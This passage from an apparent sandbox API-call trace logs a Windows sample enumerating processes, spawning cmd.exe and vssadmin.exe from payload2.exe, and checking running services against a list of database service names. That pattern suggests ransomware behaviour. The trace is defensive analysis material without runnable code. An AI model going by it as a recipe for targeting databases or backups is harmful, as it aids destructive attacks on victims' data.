(lpString="semestermeta.exe") returned 16 [0043.348] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0043.348] lstrlenW (lpString="reflects.exe") returned 12 [0043.348] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0043.349] lstrlenW (lpString="beveragesradios.exe") returned 19 [0043.349] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0043.350] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0043.350] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0043.350] lstrlenW (lpString="ground.exe") returned 10 [0043.350] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0043.351] lstrlenW (lpString="least.exe") returned 9 [0043.351] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0043.352] lstrlenW (lpString="meetings.exe") returned 12 [0043.352] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0043.352] lstrlenW (lpString="wooltestimony.exe") returned 17 [0043.352] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0043.353] lstrlenW (lpString="inexpensive.exe") returned 15 [0043.353] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0043.354] lstrlenW (lpString="er-amd.exe") returned 10 [0043.354] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0043.354] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0043.354] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0043.355] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0043.355] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0043.356] lstrlenW (lpString="mobsync.exe") returned 11 [0043.356] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0043.357] lstrlenW (lpString="payload2.exe") returned 12 [0043.357] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0043.357] lstrlenW (lpString="cmd.exe") returned 7 [0043.357] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0043.358] lstrlenW (lpString="conhost.exe") returned 11 [0043.358] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0043.359] lstrlenW (lpString="vssadmin.exe") returned 12 [0043.359] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0043.359] lstrlenW (lpString="VSSVC.exe") returned 9 [0043.359] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0043.360] lstrlenW (lpString="svchost.exe") returned 11 [0043.360] Process32NextW (in: hSnapshot=0x170, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0043.361] CloseHandle (hObject=0x170) returned 1 [0043.361] Sleep (dwMilliseconds=0x1f4) [0044.248] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x2a0078 [0044.249] EnumServicesStatusExW (in: hSCManager=0x2a0078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 0 [0044.249] GetLastError () returned 0xea [0044.249] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12c6) returned 0x26e060 [0044.249] EnumServicesStatusExW (in: hSCManager=0x2a0078, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x26e060, cbBufSize=0x12c6, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x26e060, pcbBytesNeeded=0x20bff44, lpServicesReturned=0x20bff5c, lpResumeHandle=0x0) returned 1 [0044.250] CloseServiceHandle (hSCObject=0x2a0078) returned 1 [0044.250] lstrlenW (lpString="Appinfo") returned 7 [0044.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0044.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0044.250] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0044.250] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0044.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0044.250] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0044.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.250] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0044.250] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0044.250] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0044.250] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0044.250] lstrlenW (lpString="AudioSrv") returned 8 [0044.250] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0044.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0044.251] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0044.251] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0044.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0044.251] lstrlenW (lpString="BFE") returned 3 [0044.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0044.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0044.251] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0044.251] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0044.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0044.251] lstrlenW (lpString="CryptSvc") returned 8 [0044.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0044.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0044.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0044.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0044.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0044.251] lstrlenW (lpString="CscService") returned 10 [0044.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0044.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0044.251] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0044.251] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0044.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0044.251] lstrlenW (lpString="DcomLaunch") returned 10 [0044.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0044.251] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0044.251] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0044.251] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0044.251] lstrlenW (lpString="Dhcp") returned 4 [0044.251] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0044.251] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0044.251] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0044.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0044.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0044.252] lstrlenW (lpString="Dnscache") returned 8 [0044.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0044.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0044.252] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0044.252] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0044.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0044.252] lstrlenW (lpString="DPS") returned 3 [0044.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0044.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0044.252] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0044.252] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0044.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0044.252] lstrlenW (lpString="eventlog") returned 8 [0044.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0044.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0044.252] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0044.252] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0044.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0044.252] lstrlenW (lpString="EventSystem") returned 11 [0044.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0044.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0044.252] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0044.252] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0044.252] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0044.252] lstrlenW (lpString="gpsvc") returned 5 [0044.252] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0044.252] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0044.252] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0044.252] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0044.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0044.253] lstrlenW (lpString="iphlpsvc") returned 8 [0044.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0044.253] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0044.253] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0044.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0044.253] lstrlenW (lpString="LanmanServer") returned 12 [0044.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0044.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0044.253] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0044.253] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0044.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0044.253] lstrlenW (lpString="LanmanWorkstation") returned 17 [0044.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0044.253] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0044.253] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0044.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0044.253] lstrlenW (lpString="lmhosts") returned 7 [0044.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0044.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0044.253] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0044.253] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0044.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0044.253] lstrlenW (lpString="MMCSS") returned 5 [0044.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0044.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0044.253] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0044.253] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0044.253] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0044.253] lstrlenW (lpString="MpsSvc") returned 6 [0044.253] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0044.253] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0044.254] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0044.254] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0044.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0044.254] lstrlenW (lpString="Netman") returned 6 [0044.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0044.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0044.254] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0044.254] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0044.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0044.254] lstrlenW (lpString="netprofm") returned 8 [0044.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0044.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0044.254] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0044.254] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0044.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0044.254] lstrlenW (lpString="NlaSvc") returned 6 [0044.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0044.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0044.254] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0044.254] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0044.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0044.254] lstrlenW (lpString="nsi") returned 3 [0044.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0044.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0044.254] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0044.254] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0044.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0044.254] lstrlenW (lpString="PcaSvc") returned 6 [0044.254] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0044.254] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0044.254] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0044.254] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0044.254] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0044.254] lstrlenW (lpString="PlugPlay") returned 8 [0044.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0044.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0044.255] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0044.255] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0044.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0044.255] lstrlenW (lpString="Power") returned 5 [0044.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0044.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0044.255] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0044.255] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0044.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0044.255] lstrlenW (lpString="ProfSvc") returned 7 [0044.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0044.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0044.255] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0044.255] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0044.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0044.255] lstrlenW (lpString="RpcEptMapper") returned 12 [0044.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0044.255] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0044.255] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0044.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0044.255] lstrlenW (lpString="RpcSs") returned 5 [0044.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0044.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0044.255] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0044.255] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0044.255] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0044.255] lstrlenW (lpString="SamSs") returned 5 [0044.255] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0044.255] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0044.255] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0044.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0044.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0044.256] lstrlenW (lpString="Schedule") returned 8 [0044.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0044.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0044.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0044.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0044.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0044.256] lstrlenW (lpString="SENS") returned 4 [0044.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0044.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0044.256] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0044.256] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0044.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0044.256] lstrlenW (lpString="ShellHWDetection") returned 16 [0044.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0044.256] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0044.256] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0044.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0044.256] lstrlenW (lpString="Spooler") returned 7 [0044.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0044.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0044.256] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0044.256] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0044.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0044.256] lstrlenW (lpString="swprv") returned 5 [0044.256] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0044.256] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0044.256] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0044.256] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0044.256] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0044.256] lstrlenW (lpString="SysMain") returned 7 [0044.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0044.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0044.257] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0044.257] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0044.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0044.257] lstrlenW (lpString="Themes") returned 6 [0044.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0044.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0044.257] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0044.257] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0044.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0044.257] lstrlenW (lpString="TrkWks") returned 6 [0044.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0044.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0044.257] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0044.257] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0044.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0044.257] lstrlenW (lpString="UxSms") returned 5 [0044.257] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0044.257] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0044.257] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0044.257] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0044.257] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0044.257] lstrlenW (lpString="VSS") returned 3 [0044.257] lstrcmpiW 